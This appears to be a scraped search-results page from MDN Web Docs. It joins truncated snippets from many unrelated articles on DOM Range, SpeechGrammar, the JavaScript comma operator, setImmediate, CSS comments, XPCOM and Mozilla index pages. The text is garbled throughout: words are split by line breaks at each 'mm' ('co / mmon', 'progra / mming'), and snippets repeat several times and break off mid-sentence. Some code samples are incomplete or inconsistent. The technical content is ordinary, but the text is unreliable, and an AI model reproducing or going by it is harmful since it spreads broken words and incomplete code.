mmon ancestor container. since a range need not be continuous, and may also partially select nodes, this is a convenient way to find a node which encloses a range. this property is read-only. to change the ancestor container of a node, consider using the various methods available to set the start and end positions of the range, such as range.setstart() and range.setend(). ...
...tor container. since a range need not be continuous, and may also partially select nodes, this is a convenient way to find a node which encloses a range. this property is read-only. to change the ancestor container of a node, consider using the various methods available to set the start and end positions of the range, such as range.setstart() and range.setend(). syntax rangeancestor = range.co
mmonancestorcontainer; example in this example, we create an event listener to handle pointerup events on a list. the listener gets the co
mmon ancestors of each piece of selected text, and triggers an animation to highlight them. html <ul> <li>strings <ul> <li>cello</li> <li>violin <ul> <li>first chair</li> <li>second chair</li> </ul> <...
... liv...
...on.rangecount; i++) { const range = selection.getrangeat(i); playanimation(range.co
mmonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.classlist.remove('highlight'); settimeout(() => { el.classlist.add('highlight'); }, 0); } result specifications specification status co
mment domthe definition of 'range.co
mmonancestorcontainer' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.co
mmonancestorcontainer' in that specification. obsolete initial specification. ...
SpeechGrammar.src - Web APIs
the src property of the speechgra
mmar interface sets and returns a string containing the gra
mmar from within in the speechgra
mmar object. syntax var mygra
mmar = speechgra
mmarinstance.src; value a domstring representing the gra
mmar. ...
... the src property of the speechgra
mmar interface sets and returns a string containing the gra
mmar from within in the speechgra
mmar object. syntax var mygra
mmar = speechgra
mmarinstance.src; value a domstring representing the gra
mmar. ...
... the src property of the speechgra
mmar interface sets and returns a string containing the gra
mmar from within in the speechgra
mmar object. syntax var mygra
mmar = speechgra
mmarinstance.src; value a domstring representing the gra
mmar. ...
...n | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the gra
mmar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4. specifications specification status co
mment web spee...
SpeechGrammar.weight - Web APIs
the optional weight property of the speechgra
mmar interface sets and returns the weight of the speechgra
mmar object. syntax var mygra
mmarweight = speechgra
mmarinstance.weight; value a float representing the weight of the gra
mmar, in the range 0.0–1.0. ...
... the optional weight property of the speechgra
mmar interface sets and returns the weight of the speechgra
mmar object. syntax var mygra
mmarweight = speechgra
mmarinstance.weight; value a float representing the weight of the gra
mmar, in the range 0.0–1.0. ...
... the optional weight property of the speechgra
mmar interface sets and returns the weight of the speechgra
mmar object. syntax var mygra
mmarweight = speechgra
mmarinstance.weight; value a float representing the weight of the gra
mmar, in the range 0.0–1.0. ...
...n | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the gra
mmar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4. specifications specification status co
mment web spee...
Community - Developer guides
if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here. ...
... if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here. ...
... if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here. ...
... if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here. ...
Comma operator (,) - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax expr1, expr2, expr3... parameters expr1, expr2, expr3... one or more expressions, the last of which is returned as the value of the compound expression. ...
...ractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax expr1, expr2, expr3... parameters expr1, expr2, expr3... one or more expressions, the last of which is returned as the value of the compound expression. usage notes you can use the co
mma operator when you want to include multiple expressions in a location that requires a single expression. the most co
mmon usage of this operator is to supply multiple parameters in a for loop. the co
mma operator is fully different from the co
mma within arrays, objects, and function arguments and parameters. examples if a is a 2-dimensional array with 10 elements on each side, the following code...
...hen you want to include multiple expressions in a location that requires a single expression. the most co
mmon usage of this operator is to supply multiple parameters in a for loop. the co
mma operator is fully different from the co
mma within arrays, objects, and function arguments and parameters. examples if a is a 2-dimensional array with 10 elements on each side, the following code uses the co
mma operator to increment i and decrement j at once. the following code prints the values of the diagonal elements in the array: for (var i = 0, j = 9; i <= 9; i++, j--) console.log('a[' + i + '][' + j + '] = ' + a[i][j]); note that the co
mma operators in assignments may appear not to have the normal effect of co
mma operators because they don't exist within an expression. in the following examp...
...but the c = 4 expression still evaluates and its result returned to console (i.e., 4). this is due to operator precedence and associativity. var a, b, c; a = b = 3, c = 4; // returns 4 in console console.log(a); // 3 (left-most) var x, y, z; x = (y = 5, z = 6); // returns 6 in console console.log(x); // 6 (right-most) processing and then returning another example that one could make with co
mma operator is processing before returning. as stated, only the last element will be returned but all others are going to be evaluated as well. so, one could do: function myfunc() { var x = 0; return (x += 1, x); // the same as return ++x; } specifications specification ecmascript (ecma-262)the definition of 'co
mma operator' in that specification. ...
Communicating using "port" - Archive of obsolete content
to send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the recipient but just emits the message and continues processing. ...
...pt. for example, to receive the context message in a content script associated with a context menu object, you would call the on function attached to the global self object: self.on("context", function() { // handle the message }); so the port property is essentially used here as a namespace for user-defined messages. accessing port in the add-on script in the add-on code, the channel of co
mmunication between the add-on and a particular content script context is encapsulated by the worker object. thus the port object for co
mmunicating with a content script is a property of the corresponding worker object. however, the worker is not exposed to add-on code in quite the same way in all modules. the panel and page-worker objects integrate the worker api directly. so to receive messages f...
...but some modules, such as page-mod, might need to handle multiple pages, each with its own context in which the content scripts are executing, so it needs a separate channel (worker) for each page. so page-mod does not integrate the worker api directly: instead, each time a content script is attached to a page, the worker associated with the page is supplied to t...
Summary of Changes - Archive of obsolete content
this section outlines all of the element and practice updates described in this article. for a complete discussion of these items, see the sections in which they are described. ...
...ss1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or reco
mmended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ...
...le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or reco
mmended replacement ...
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
computer progra
mming is a process of composing and organizing a collection of instructions. these tell a computer/software program what to do in a language which the computer understands. these instructions come in the form of many different languages such as c++, java, javascript, html, python, ruby, and rust. using an appropriate language, you can program/create all sorts of software. for example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a web site that allows people to download music, or animation software that allows people to create animated movies. ...
...cript, html, python, ruby, and rust. ...
...t. using an appropriate language, you can program/create all sorts of software. ...
Use HTML to solve common problems - Learn web development
basic structure the most basic application of html is document structure. if you're new to html you should start with this. how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document. ...
...mages to a webpage how to add video content to a webpage scripting & styling html only sets up document structure. to solve presentation issues, use css, or use scripting to make your page interactive. how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage unco
mmon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems. these articles help you tackle the less co
mmon use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should start: how to create a simple w...
...ributes advanced text semantics how to take control of html line breaking how to mark changes (added and removed text) — see the <ins> and <del> elements. advanced images & multimedia how to add a responsive image to a webpage how to add vector image to a webpage how to add a hit map on top of an image internationalization html is not monolingual. it provides tools to handle co
mmon internationalization issues. how to add multiple languages into a single webpage how to display time and date with html performance how to author fast-loading html pages ...
Making asynchronous programming easier with async and await - Learn web development
there you have it — async/await provide a nice, simplified way to write async code that is simpler to read and maintain. ...
...upport being more limited than other async code mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future. ...
... mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future. ...
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
a mathml
mmultiscripts object allows you to build tensor-like objects. for example m c d a b . the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a . there are some variations possible: <
mmultiscripts> a a b c d , nested <msubsup>s a a b c d , or &invisibleco
mma; a a c b d . displays a mathml
mmultiscripts objects allows you to build tensor-like objects. ...
... a a b c d , nested <msubsup>s a a b c d , or &invisibleco
mma; a a c b d . displays a mathml
mmultiscripts objects allows you to build tensor-like objects. ...
......
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function i
mmediately after the browser has completed other operations such as events and display updates. this method is not expected to become standard, and is only implemented by recent builds of internet explorer and node.js 0.10+. it meets resistance both from gecko (firefox) and webkit (google/apple). syntax var i
mmediateid = seti
mmediate(func, [param1, param2, ...]); var i
mmediateid = seti
mmediate(func); where i
mmediateid is the id of the i
mmediate which can be used later with window.cleari
mmediate. func is the function you wish to call. all parameters will be passed directly to your function. ...
... it meets resistance both from gecko (firefox) and webkit (google/apple). syntax var i
mmediateid = seti
mmediate(func, [param1, param2, ...]); var i
mmediateid = seti
mmediate(func); where i
mmediateid is the id of the i
mmediate which can be used later with window.cleari
mmediate. func is the function you wish to call. all parameters will be passed directly to your function. notes the cleari
mmediate method can be used to clear the i
mmediate actions, just like cleartimeout for settimeout. this method can be used instead of the settimeout(fn, 0) method to execute heavy operations. the feature can be emulated in a few different ways: postmessage can be used to trigger an i
mmediate but yielding callback. do note that internet explorer 8 includes a synchronous version of postmessage, ...
...nchronous version of postmessage, which means it cannot be used as a fallback. messagechannel can be used reliably inside of web workers whereas the semantics of postmessage mean it cannot be used there. settimeout(fn, 0) can potentially be used, however as it is clamped to 4ms for timers nested more than 5 levels deep per the html spec, it does not make for a suitable polyfill for the natural i
mmediacy of seti
mmediate. all of these techniques are incorporated into a robust seti
mmediate polyfill. specifications specification status co
mment efficient script yielding the definition of 'seti
mmediate' in that specification. editor's draft initial definition. ...
Comments - CSS: Cascading Style Sheets
a css co
mment is used to add explanatory notes to the code or to prevent the browser from interpreting specific parts of the style sheet. by design, co
mments have no effect on the layout of a document. syntax co
mments can be placed wherever white space is allowed within a style sheet. they can be used on a single line, or traverse multiple lines. /* co
mment */ examples /* a one-line co
mment */ /* a co
mment which stretches over several lines */ /* the co
mment below is used to disable specific styling */ /* span { color: blue; font-size: 1.5em; } */ notes the /* */ co
mment syntax is used for both single and multiline co
mments. there is no other way to specify co
mments in external style sheets. however, when using the <style> element, you may use <!-- --> to hide css from olde...
...everal lines */ /* the co
mment below is used to disable specific styling */ /* span { color: blue; font-size: 1.5em; } */ notes the /* */ co
mment syntax is used for both single and multiline co
mments. there is no other way to specify co
mments in external style sheets. however, when using the <style> element, you may use <!-- --> to hide css from older browsers, although this is not reco
mmended. as with most progra
mming languages that use the /* */ co
mment syntax, co
mments cannot be nested. in other words, the first instance of */ that follows an instance of /* closes the co
mment. ...
... external style sheets. however, when using the <style> element, you may use <!-- --> to hide css from older browsers, although this is not reco
mmended. as with most progra
mming languages that use the /* */ co
mment syntax, co
mments cannot be nested. ...
Common (exsl) - EXSLT
exsl:node-set()exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value. ...
... exsl:node-set()exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value. ...
... exsl:node-set()exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value. ...
<small>: the side comment element - HTML: Hypertext Markup Language
by default, it renders text within it one font-size smaller, such as from small to x-small. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content permitted content phrasing content tag omission none, must have both a start tag and an end tag. permitted parents any element that accepts phrasing content, or any element that accepts flow content. ...
...e htmlelement attributes this element only includes the global attributes. examples basic usage <p>this is the first sentence. <small>this whole sentence is in small letters.</small> </p> css alternative <p>this is the first sentence. ...
...rs.</small> </p> css alternative <p>this is the first sentence. <span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status co
mments html living standardthe definition of '<small>' in that specification. living standard html5the definition of '<small>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<small>' in that specification. reco
mmendation notes although the <small> element, like the <b> and <i> elements, may be perceived to violate the principle of separation between structure and presentation, all three are valid in html5. authors are encouraged to use their best judgement when determining whether to use <s...
SyntaxError: identifier starts immediately after numeric literal - JavaScript
they can't start with a digit! only subsequent characters can be digits (0-9). ...
...they can't start with a digit! only subsequent characters can be digits (0-9). ...
...rtain rules, which your code must adhere to! a javascript identifier must start with a letter, underscore (_), or dollar sign ($). they can't start with a digit! only subsequent characters can be digits (0-9). examples variable names starting with numeric literals variable names can't start with numbers in javascript. the following fails: var 1life = 'foo'; // syntaxerror: identifier starts i
mmediately after numeric literal var foo = 1life; // syntaxerror: identifier starts i
mmediately after numeric literal alert(1.foo); // syntaxerror: identifier starts i
mmediately after numeric literal you will need to rename your variable to avoid the leading number. var life1 = 'foo'; var foo = life1; ...
Recommended Web Performance Timings: How long is too long? - Web Performance
maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying. the first asset retrieved from a request is usually an html document, which then makes calls for additional assets. as noted in the description of the critical rendering path, when received, browsers i
mmediately start processing the html, rendering the content as it is received rather than waiting for additional assets to load. yes, one second for loading is a goal, but it's something few sites achieve. expectations differ. a 'hello world' on the corporate network would be expected to load in milliseconds, but a user downloading a cat video on a five-year-old device over an edge network in north...
...itional assets to load. yes, one second for loading is a goal, but it's something few sites achieve. expectations differ. a 'hello world' on the corporate network would be expected to load in milliseconds, but a user downloading a cat video on a five-year-old device over an edge network in northern siberia would likely find a 20-second download speedy. if you wait three or four seconds without co
mmunicating to the user that a load is happening and showing some progress, the typical site will lose potential visitors, and those visitors will take a long time to come back if they ever do. in optimizing for performance, do set an ambitious first load goal, such as 5 seconds over the mobile 3g network and 1.5 seconds on an office t1 line, with even more ambitious page load goals for subsequent ...
...nt. realize a document takes about 6ms to render a frame, leaving about 10ms for the rest. anything less than 60fps, especially an un-even or changing frame rate, will appear janky. responsiveness goal when the user interacts with content, it is important to provide feedback and acknowledge the user's response or interaction and to do so within 100ms, preferably within 50ms. 50ms seconds feels i
mmediate. the acknowledgment of user interaction should often feel i
mmediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous. while a slower than 100ms reaction may create a disconnect between the user interaction and the response, a 100 to 200ms transition for a response may help the user notice the response their interaction initiated, such as...
Message Summary Database - Archive of obsolete content
nsimsgfolder has a method to get the database for a folder. nsimsgdatabase is an abstraction on top of mdb, which is a set of db interfaces. the mdb interfaces are implemented in mork. mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about. ...
...b level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface. message headers the message header object implements the nsimsgdbhdr interface. this includes a set of per-message flags, the more co
mmonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords. there are a set of generic property methods so that core code and extensions can set attributes on msg headers without changing nsimsghdr.idl.msg threads we store thread information persistently in the database and expose these object through the [nsimsgthread interface. so the db knows ...
Community - Extensions
if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to extension development, please link to them here. ...
...on development, please link to them here. ...
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a dynamic progra
mming language is a progra
mming language in which operations otherwise done at compile-time can be done at run-time. for example, in javascript it is possible to change the type of a variable or add new properties or methods to an object while the program is running. this is opposed to so-called static progra
mming languages, in which such changes are normally not possible. note that while there is indeed a connection between this dynamic/static property of progra
mming languages and dynamic/static-typing, the two are far from synonymous. ...
...add new properties or methods to an object while the program is running. this is opposed to so-called static progra
mming languages, in which such changes are normally not possible. ...
Prototype-based programming - MDN Web Docs Glossary: Definitions of Web-related terms
prototype-based progra
mming is a style of object-oriented progra
mming in which classes are not explicitly defined, but rather derived by adding properties and methods to an instance of another class or, less frequently, adding them to an empty object. in simple words: this type of style allows the creation of an object without first defining its class. ...
...d progra
mming is a style of object-oriented progra
mming in which classes are not explicitly defined, but rather derived by adding properties and methods to an instance of another class or, less frequently, adding them to an empty object. in simple words: this type of style allows the creation of an object without first defining its class. ...
What do common web layouts contain? - Learn web development
when designing pages for your website, it's good to have an idea of the most co
mmon layouts. prerequisites: make sure you've already thought about what you want to accomplish with your web project. objective: learn where to put things on your webpages, and how to put them there. su
mmary there's a reason we talk about web design. you start out with a blank page, and you can take it so many directions. and if you don't have much experience, starting out with a blank page might be a bit scary. we have over 25 years' experience and we'll give you some co
mmon rules of thumb to help you design your site. even now with the new focus on mobile web, almost all mainstream webpages are built from these parts: header visible at the top of every page on the site. ...
...uff on the side 1) information complementing the main content; 2) information shared among a subset of pages; 3) alternative navigation system. in fact, everything not absolutely required by the page's main content. footer visible at the bottom of every page on the site. like the header, contains less prominent global information like legal notices or contact info. these elements are quite co
mmon in all form factors, but they can be laid out different ways. here are some examples (1 represents header, 2 footer; a main content; b1, b2 things on the side): 1-column layout. especially important for mobile browsers so you don't clutter the small screen up. 2-column layout. often used to target tablets, since they have medium-size screens. 3-column layouts. only suitable for desktop...
PR_MemMap
the section of the file starts at offset and has the length len. ...
... parameters: fmap a pointer to the file-mapping object representing the file to be memory-mapped. offset the starting offset of the section of file to be mapped. the offset must be aligned to whole pages. len length of the section of the file to be mapped. returns the starting address of the memory region to which the section of file is mapped. returns null on error. description pr_me
mmap maps a section of the file represented by the file mapping fmap to memory. the section of the file starts at offset and has the length len. when the file-mapping memory region is no longer needed, it should be unmapped with a call to pr_memunmap. ...
nsIDOMMouseScrollEvent
dom/interfaces/events/nsido
mmousescrollevent.idlscriptable this interface represents a mouse scroll wheel event. 1.0 66 introduced gecko 1.9.1 inherits from: nsido
mmouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsido
mmouseevent. method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget rela...
...ise false. ...
nsIDOMMozTouchEvent
the nsido
mmoztouchevent interface describes a raw touch event. this provides a mechanism for working with events from touch screens. this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen. this lets you process multi-finger touch gestures and actions. dom/interfaces/events/nsido
mmoztouchevent.idlscriptable please add a su
mmary to this article. ...
...uch screens. this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen. this lets you process multi-finger touch gestures and actions. dom/interfaces/events/nsido
mmoztouchevent.idlscriptable please add a su
mmary to this article. ...
nsIMsgDBViewCommandUpdater
the nsimsgdbviewco
mmandupdater interface controls changes that occur as the selection changes. mailnews/base/public/nsimsgdbview.idl#349scriptable please add a su
mmary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewco
mmandupdater (for the standalone message window) nsmsgdbviewco
mmandupdater (for the threadpane message window) nsmsgsearchco
mmandupdater (for search dialogs) method overview void updateco
mmandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updateco
mmandstatus() called when the number of selected items changes. voi...
... displaymessagechanged() called when the displayed message has changed. void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords ); parameters afolder the folder containing selected message. asubject the subject of the selected message. akeywords keywords associated with the selected message. ...
Animation.commitStyles() - Web APIs
the co
mmitstyles() method of the web animations api's animation interface co
mmits the end styling state of an animation to the element being animated, even after that animation has been removed. it will cause the end styling state to be written to the element being animated, in the form of properties inside a style attribute. syntax animation.co
mmitstyles(); parameters none. return value none. ...
...d, in the form of properties inside a style attribute. syntax animation.co
mmitstyles(); parameters none. return value none. examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); }); specifications specification status co
mment web animationsthe definition of 'co
mmitstyles()' in that specification. working draft ...
Index - Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. or for "reasons," your company is required to use very old software and you need to build web content that runs on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. ...
... 2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other. syntax highliting support for .htaccess files less. 3 2015 mdn fellowship program 2015, archive, fellowship no su
mmary! 4 api api, archive archived documentation about obsolete web standards apis. 5 navigator api, navigator features that used to hang off the navigator interface, but have since been removed. 6 navigator.moznotification api, deprecated, mobile, non-standard, property, reference provides support for creating notification objects, whic...
...ed to display desktop notification alerts to the user. currently, these are only supported on firefox mobile and firefox os. see displaying notifications for an example. 7 window: deviceproximity event sensors, events the deviceproximity event is fired when fresh data is available from a proximity sensor. 8 window: userproximity event sensors, events no su
mmary! 9 add-ons add-ons, archive, extensions archived add-ons documentation. 10 add-on sdk add-on sdk, jetpack no su
mmary! 11 builder no su
mmary! 12 guides add-on sdk no su
mmary! 13 content scripts add-on sdk many add-ons need to access and modify the content of web pages. but the main add-on c...
...And 505 more matches
Index - Web APIs
below is a list of all the apis and interfaces (object types) that you may be able to use while developing your web app or site. 2 angle_instanced_arrays api, reference, webgl, webgl extension the angle_instanced_arrays extension is part of the webgl api and allows to draw the same object, or groups of similar objects multiple times, if they share the same vertex data, primitive count and type. ...
...ce aborts a dom request (e.g. a fetch request) before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to co
mmunicate with/abort a dom request as desired. 10 abortsignal api, abortsignal, dom, experimental, interface, reference the abortsignal interface represents a signal object that allows you to co
mmunicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object. 11 abortsignal.aborted api, abortsignal, experimental, property, refe...
...ence the abortsignal interface represents a signal object that allows you to co
mmunicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object. 11 abortsignal.aborted api, abortsignal, experimental, property, reference, aborted the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is co
mmunicating with is/are aborted (true) or not (false). 12 abortsignal.onabort api, abortsignal, event handler, experimental, fetch, property, reference, onabort the onabort read-only property of the fetchsignal interface is an event handler invoked when an abort event fires, i.e. when the fetch request(s) the signal is co
mmunicating with is/are aborted. 13 abortsignal...
...And 253 more matches
Index - Archive of obsolete content
2 <statusbarpanel> deprecated, xul, xul elements, xul reference an individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages. ...
..., xul. 4 accessibility/xul accessibility reference accessibility, xul this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. 5 attribute (xul) xul attributes, xul reference no su
mmary! 6 flexgroup "flexgroup" is used to group flexible elements together and should be set to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements remaining. the same process occurs when decreasing the s...
...et to an integer. elements with a lower flexgroup are flexed first. when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed. this process continues until there are no more elements remaining. the same process occurs when decreasing the size, except in the other direction. ...
...And 222 more matches
Index
it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++. 2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. ...
...n implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products. 3 aggregating the in-memory datasource rdf no su
mmary! 4 binary compatibility xpcom if mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail. it is a possiblity that is introduced when upgrading to a new compiler without recompiling everything. effectively, it is a different platform. 5 bundling multiple binary components binary xpco...
...pcom component guide, needshelp, pyxpcom, xpcom, xpcom:language bindings creating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface). here is how to make the same component in python using pyxpcom. 7 fun with xbl and xpconnect xbl, xpcom, xpcom:language bindings, xpconnect no su
mmary! 8 generating guids add-ons, developing mozilla, developing_mozilla:tools, extensions, tools, xpcom guids are used in mozilla progra
mming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5. add-ons can (and shoul...
...And 180 more matches
Index
applications built with nss can support ssl v3, tls, pkcs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, x.509 v3 certificates, and other security standards. ...
... api, intermediate, intro, nss, tools a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). ...
... nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. ...
...And 174 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web. 2 404 glossary, http errors, infrastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource. ...
...an http error code meaning "bad gateway". 4 alpn alpn, draft, glossary, needscontent, tls application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips. 5 api codingscripting, glossary, infrastructure an api (application progra
mming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface. the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware. 6 aria accessibility, glossary aria (acc...
...ii (american standard code for information interchange) is one of the most popular coding method used by computers for converting letters, numbers, punctuation and control codes into digital form. since 2007, utf-8 superseded it on the web. 9 atag atag, accessibility, authoring tool accessibility guidelines, glossary atag (authoring tool accessibility guidelines) is a w3c reco
mmendation for building accessible-authoring tools that produce accessible contents. 10 abstraction abstraction, coding, codingscripting, glossary, progra
mming language abstraction in computer progra
mming is a way to reduce complexity and allow efficient design and implementation in complex software systems. it hides the technical complexity of systems behind simpler apis. ...
...And 106 more matches
Editor Embedding Guide - Archive of obsolete content
from the getcontentdomwindow call. then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession from it. from there you call editingsession->makewindoweditable(domwindow, editortype, pr_true). the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable i
mmediately or when the document is done loading. in calling this method, the editor is created underneath and the event listeners are all prepa if (ns_failed(rv)) return ns_error_failure; // we are not setup??!! nscomptr<nsieditingsession> editingsession; nsiwebbrowser->do_getinterface(getter_addrefs(editingsession)); if (editingsession) editingsession->makewindoweditable(domwindow, "html", pr_true)...
...a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor co
mmands you need to call co
mmands and receive updates in order to make any changes to the content on the browser. below is the sequence of steps that need to be followed for the same: 1. get the nsico
mmandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsico
mmandmanager> co
mmandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(co
mmandmgr)); 2. call a co
mmand -- doco
mmand: co...
...ands you need to call co
mmands and receive updates in order to make any changes to the content on the browser. below is the sequence of steps that need to be followed for the same: 1. get the nsico
mmandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsico
mmandmanager> co
mmandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(co
